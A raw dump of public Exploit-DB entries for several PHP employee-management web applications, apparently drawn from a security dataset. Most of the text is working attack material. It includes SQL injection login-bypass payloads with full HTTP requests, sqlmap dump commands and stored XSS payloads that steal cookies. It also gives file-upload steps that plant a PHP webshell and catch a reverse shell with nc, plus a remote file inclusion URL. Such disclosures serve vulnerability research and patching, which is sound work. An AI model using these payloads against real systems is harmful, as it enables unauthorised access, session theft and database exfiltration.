deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48882
Description: Employee Management System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-10-16
Author: Ankita Pal

Exploit:
#Exploit Title: Employee Management System 1.0 - Authentication Bypass
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL http://localhost:8081/Employee%20Management%20System/alogin.html

Step 2: Use payload anki' or 1=1# for both username and password.


Malicious Request:::

POST /Employee%20Management%20System/process/aprocess.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Employee%20Management%20System/alogin.html
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv
Upgrade-Insecure-Requests: 1

mailuid=anki%27+or+1%3D1%23&[CREDENTIAL_REDACTED]+or+1%3D1%23&login-submit=Login

You will be login as Admin of the application.
Exploit-DB #48881
Description: Employee Management System 1.0 - Cross Site Scripting (Stored)
Type: webapps
Platform: php
Date: 2020-10-16
Author: Ankita Pal

Exploit:
#Exploit Title: Employee Management System 1.0 - Stored Cross Site Scripting
#Date: 2020-10-16
#Exploit Author: Ankita Pal
#Vendor Homepage: https://www.sourcecodester.com/php/14432/employee-management-system-using-php.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
#Version: 1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the URL localhost:8081/Employee Management System/addemp.php

Step 2: Use payload <img src=x onerror=alert(document.cookie)> in First Name and Last Name.


Malicious Request:::

POST /Employee%20Management%20System/////process/addempprocess.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Length: 1571
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Employee%20Management%20System/////addemp.php
Cookie: PHPSESSID=infdfigld4et4jndfgbn33kcsv
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="firstName"

<img src=x onerror=alert(document.cookie)>
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="lastName"

<img src=x onerror=alert(document.cookie)>
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="email"

abc@gmail.com
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="birthday"

2020-09-28
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="gender"

Female
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="contact"
[PII_REDACTED]
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="nid"

12
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="address"

Gujarat
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="dept"

CS
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="degree"

BE
----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="salary"


----------------------------[PII_REDACTED][PII_REDACTED]13791736
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream


----------------------------[PII_REDACTED][PII_REDACTED]13791736--


Cookie will be reflected on View Employee.
Exploit-DB #51950
Description: Employee Management System 1.0 - _txtfullname_ and _txtphone_ SQL Injection
Type: webapps
Platform: php
Date: 2024-04-02
Author: Yevhenii Butenko

Exploit:
# Exploit Title: Employee Management System 1.0 - `txtfullname` and `txtphone` SQL Injection
# Date: 2 Feb 2024
# Exploit Author: Yevhenii Butenko
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
# Version: 1.0
# Tested on: Debian
# CVE : CVE-2024-24499

### SQL Injection:

> SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.

### Affected Components:

> /employee_akpoly/Admin/edit_profile.php

> Two parameters `txtfullname` and `txtphone` within admin edit profile mechanism are vulnerable to SQL Injection.


![txtfullname](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtfullname_sqli.png?raw=true)

![txtphone](https://github.com/0xQRx/VunerabilityResearch/blob/master/2024/img/admin_edit_txtphone_sqli.png?raw=true)

### Description:

> The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.

## Proof of Concept:

### SQLMap

Save the following request to `edit_profile.txt`:

```
POST /employee_akpoly/Admin/edit_profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_akpoly/Admin/edit_profile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

txtfullname=Caroline+Bassey&txtphone=0905656&old_image=uploadImage%2Fbird.jpg&btnupdate=
```

Use `sqlmap` with `-r` option to exploit the vulnerability:

```
sqlmap -r edit_profile.txt --level 5 --risk 3 --batch --dbms MYSQL --dump
```


## Recommendations

When using this Employee Management System, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.
Exploit-DB #51803
Description: Employee Management System v1 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2024-02-19
Author: SoSPiro

Exploit:
# Exploit Title: Employee Management System v1 - 'email' SQL Injection
# Google Dork: N/A
# Application: Employee Management System 
# Date: 19.02.2024
# Bugs: SQL Injection 
# Exploit Author: SoSPiro
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/16999/employee-management-system.html
# Version: N/A
# Tested on: Windows 10 64 bit Wampserver 
# CVE : N/A


## Vulnerability Description:

In your code, there is a potential SQL injection vulnerability due to directly incorporating user-provided data into the SQL query used for user login. This situation increases the risk of SQL injection attacks where malicious users may input inappropriate data to potentially harm your database or steal sensitive information.


## Proof of Concept (PoC):

An example attacker could input the following into the email field instead of a valid email address:

In this case, the SQL query would look like:

SELECT * FROM users WHERE email='' OR '1'='1' --' AND password = '' AND status = 'Active'
As "1=1" is always true, the query would return positive results, allowing the attacker to log in.


## Vulnerable code section:
====================================================
employee/Admin/login.php

<?php
session_start();
error_reporting(1);
include('../connect.php');

//Get website details
$sql_website = "select * from website_setting"; 
$result_website = $conn->query($sql_website);
$row_website = mysqli_fetch_array($result_website);


if(isset($_POST['btnlogin'])){


//Get Date
date_default_timezone_set('Africa/Lagos');
$current_date = date('Y-m-d h:i:s');


$email = $_POST['txtemail'];
$password = $_POST['txtpassword'];
$status = 'Active';


 $sql = "SELECT * FROM users WHERE email='" .$email. "' and password = '".$password."'  and status = '".$status."'";
  $result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {
  // output data of each row
 ($row = mysqli_fetch_assoc($result));
	 $_SESSION["email"] = $row['email'];
   $_SESSION["password"] = $row['password'];
 $_SESSION["phone"] = $row['phone'];
 	 $firstname = $row['firstname'];
 	  $_SESSION["firstname"] = $row['firstname'];

		 $fa = $row['2FA'];

	}
Exploit-DB #49215
Description: Employee Performance Evaluation System 1.0 - 'Task and Description' Persistent Cross Site Scripting
Type: webapps
Platform: php
Date: 2020-12-08
Author: Ritesh Gohil

Exploit:
# Exploit Title: Employee Performance Evaluation System 1.0 - ' Task and Description' Persistent Cross Site Scripting
# Date: 08/12/2020
# Exploit Author: Ritesh Gohil
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html
# Version: 1.0
# Tested on: Windows 10/Kali Linux

Steps to Reproduce:
1) Login with Admin Credentials and click on 'Task' button.
2) Click on Add New Task Button.
3) Now add the following payload input field of Task and Description

Payload:  ritesh"><img src=x onerror=alert(document.domain)>

4) Click On Save
5) XSS payload is triggered.
Exploit-DB #51049
Description: Employee Performance Evaluation System v1.0 - File Inclusion and RCE
Type: webapps
Platform: php
Date: 2023-03-25
Author: nu11secur1ty

Exploit:
## Exploit Title: Employee Performance Evaluation System v1.0 - File Inclusion and RCE
## Exploit Author: nu11secur1ty
## Date: 03.17.2023
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html
## Reference: https://brightsec.com/blog/file-inclusion-vulnerabilities/

## Description:
The Employee Performance Evaluation System-1.0 suffer from File
Inclusion - RCE Vulnerabilities.
The usual user of this system is allowed to submit a malicious file or
upload a malicious file to the server.
After then this user can execute remotely the already malicious
included file on the server of the victim. This can bring the system
to disaster or can destroy all information that is inside or this
information can be stolen.

STATUS: CRITICAL Vulnerability


[+]Get Info:

```PHP
<?php
// by nu11secur1ty - 2023
	phpinfo();
?>

```
[+]Exploit:

```PHP
<?php
// by nu11secur1ty - 2023
// Old Name Of The file
$old_name = "C:/xampp7/htdocs/pwnedhost7/epes/" ;

// New Name For The File
$new_name = "C:/xampp7/htdocs/pwnedhost7/epes15/" ;

// using rename() function to rename the file
rename( $old_name, $new_name) ;

?>
```

## Proof Of Concept:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/upload/main/vendors/oretnom23/2023/Employee-Performance-Evaluation-1.0

-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                   
nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #50467
Description: Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-11-02
Author: Anubhav Singh

Exploit:
# Title: Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)
# Exploit Author: Anubhav Singh 
# Date: 2021-10-31
# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/
# Version: 1.2
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967
# Tested On: Windows 10, XAMPP 
# Vulnerable Parameter: Email

Steps to Reproduce:

1) Navigate to http://localhost/employee_record/erms/forgetpassword.php and enter any email in email Field and capture request in burpsuite.
2) Create a txt file and paste this request.

Request:
=======
POST /employee_record/erms/forgetpassword.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://localhost
Connection: close
Referer: http://localhost/employee_record/erms/forgetpassword.php
Cookie: security_level=0; PHPSESSID=7u3nsaok3or5a9199no8ion8fh
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

Email=anubhav@gmail.com&empid=ads'+AND+(SELECT+9312+FROM+(SELECT(SLEEP([SLEEPTIME])))MBeq)--+NIlX&submit=reset

-----------------------------------------------------------------------------------------------------------------

3) Send this request to sqlmap
4) command : python sqlmap.py -r request.txt -p Email --dbs
5) We can retrieve all databases using above sqlmap command
Exploit-DB #50112
Description: Employee Record Management System 1.2 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-07-08
Author: Subhadip Nag

Exploit:
# Exploit Title: Employee Record Management System 1.2 - Stored Cross-Site Scripting (XSS)
# Date: 07 July 2021
# Exploit Author: Subhadip Nag (mrl0s3r)
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/
# Tested on: Server: XAMPP

# Description #

Employee Record Management System 1.2 is vulnerable to stored cross site scripting (xss) in the Edit My Education because of insufficient user supplied data.


# Proof of Concept (PoC) : Exploit #

1) Goto: http://localhost/ERMSP/erms/loginerms.php
2) Login: Login as a User(given username and password)
3) Go To Edit My Education and Edit My Exp
4) Enter the payload: <script>alert(1)</script>
5) Click Update
6) Go to 'My Education' option
7) Our XSS attack successful

# PoC image
1) https://ibb.co/LS78xjX
2) https://ibb.co/9G0Pbxb
Exploit-DB #49280
Description: Employee Record System 1.0 - Multiple Stored XSS
Type: webapps
Platform: php
Date: 2020-12-17
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Employee Record System 1.0 - Multiple Stored XSS
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2020-12-09
# Google Dork: N/A
# Vendor Homepage: https://www.sourcecodester.com/php/14588/employee-record-system-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14588&title=Employee+Record+System+in+PHP%2FMySQLi+with+Full+Source+Code
# Affected Version: Version 1
# Patched Version: Unpatched
# Category: Web Application
# Tested on: Parrot OS

Step 1: Log in to the application with any valid user credentials.

Step 2: Click on Add Employee.

Step 3: input "<script>alert(1)</script>" in all fields except phone number
fields. Note: increase the values of "1" in "alert(1)" to determine which
field is vulnerable. Eg <script>alert(2)</script>,
<script>alert(3)</script> ....etc.

Step 4: Once all fields are completed, Click on ADD RECORD to save the
record.

Step 5: Click on All Employees page and this will trigger the Stored XSS.

Step 6: To view all Stored XSS, after clicking on All Employees page, click
on the View Employee Icon. This will tigger all Stored XSS payloads.
Exploit-DB #49389
Description: Employee Record System 1.0 - Unrestricted File Upload to Remote Code Execution
Type: webapps
Platform: php
Date: 2021-01-07
Author: Saeed Bala Ahmed

Exploit:
# Exploit Title: Employee Record System 1.0 - Unrestricted File Upload to Remote Code Execution
# Exploit Author: Saeed Bala Ahmed (r0b0tG4nG)
# Date: 2021-01-05
# Vendor Homepage: https://www.sourcecodester.com/php/14588/employee-record-system-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14588&title=Employee+Record+System+in+PHP%2FMySQLi+with+Full+Source+Code
# Affected Version: Version 1
# Tested on: Parrot OS

Step 1: Log in to the CMS with any valid user credentials.
Step 2: Click on add Employee.
Step 3: Copy a php webshell from /usr/share/webshells/php/php-reverse-shell.php and rename it to shell.php.jpg or embed a phpshellcode into an image using "exiftool -Comment='<?php system($_GET['cmd']); ?>' r0b0t.jpg, then rename the image to r0b0t.php.jpg
Step 4: Fill in the required details at Add Employee, to Upload Employee Photo, browse select the shell.php.jpg / r0b0t.php.jpg from your computer.
Step 5: Click upload and capture request in burpsuite. In burpsuite, find your uploaded file and rename it to a ".php" extenstion.
----------------------------[PII_REDACTED][PII_REDACTED]584064316
Content-Disposition: form-data; name="employee_photo"; filename="r0b0t.php"
Content-Type: image/jpeg
------------------------------------------

Step 6: Forward the request in burpsuite and apply same technique to Upload Employee ID.
step 7: Once all webshells/payloads are uploaded in both "Upload Employee Photo" & "Upload Employee ID" fields, click on ADD RECORD to create the record.
Step 8: Navigate to All employees, click on view employee icon, once the page loads, start nc listener, right click on the employee icon, copy the image location and paste that in browser. You will either have a shell in nc listener or a full RCE through the uploaded image (http://localhost/record/uploads/employees_photos/gQZtGSJyYW4oijD_r0b0t.php?cmd=ls)
Exploit-DB #44761
Description: Employee Work Schedule 5.9 - 'cal_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-05-26
Author: AkkuS

Exploit:
# Exploit Title: EWS 5.9 - 'search' SQL Injection
# Dork: N/A
# Date: 25.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/employee-work-schedule-multicalendar/10545683
# Version: 5.9
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'cal_id' parameter.
====================================================
# Demo : http://paulthedutchman.nl/ews/
# PoC : SQLi :

http://test.com/ews/?action=search

POST /ews/?action=search HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/ews/
Cookie: PHPSESSID=pss9q96b0v9ja9m35hc8s2hod4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
sq=test&cal_id=11%2C90%2C199%2C208


Parameter: cal_id (POST)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sq=test&cal_id=11,90,199,208) AND 4528=4528 AND (1723=1723

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: sq=test&cal_id=11,90,199,208) AND SLEEP(5) AND (8958=8958


====================================================
Exploit-DB #50582
Description: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass
Type: webapps
Platform: php
Date: 2021-12-09
Author: able403

Exploit:
# Exploit Title: Employees Daily Task Management System 1.0 - 'username' SQLi Authentication Bypass
# Exploit Author: able403
# Date: 08/12/2021
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
# Version: 1.0
# Tested on: windows 10 
# Vulnerable page: Actions.php
# VUlnerable parameters: "username"

Technical description:

An SQL Injection vulnerability exists in theEmployees Daily Task Management System admin login form which can allow an attacker to bypass authentication.

Steps to exploit:

1) Navigate to http://localhost/login.php

2) Insert your payload in the user or password field 

3) Click login

Proof of concept (Poc):

The following payload will allow you to bypass the authentication mechanism of the Engineers Online Portal login form - 

123'+or+1=1+--+-




--- 




POST /Actions.php?a=employee_login HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 43

Origin: http://edtms.com

Connection: close

Referer: http://edtms.com/login.php

Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl




email=admin'+or+1=1+--+-&[CREDENTIAL_REDACTED]




response




HTTP/1.1 200 OK

Date: Wed, 10 Nov 2021 02:23:38 GMT

Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

X-Powered-By: PHP/8.0.2

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 48




{"status":"success","msg":"Login successfully."}




---
Exploit-DB #1895
Description: empris r20020923 - 'phormationdir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-10
Author: Kacper

Exploit:
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$
$$
$$  Emergenices Personnel Information System (Empris) [phormationdir] <= v.20020923 Remote File Include Vulnerability
$$  Script site: http://sourceforge.net/projects/empris
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$              Find by: Kacper (a.k.a Rahim)
$$
$$ Contact: kacper1964@yahoo.pl   or   http://www.devilteam.yum.pl
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$
$$  Greetz: DragonHeart, Satan, Leito, Leon, Luzak,
$$           Adam, DeathSpeed, Drzewko, pepi
$$
$$  Specjal greetz: DragonHeart ;-)
$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Expl:


http://www.site.com/[Empris_path]/phormation/sql_fcnsOLD.php?phormationdir=[evil_scripts]


#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-06-10]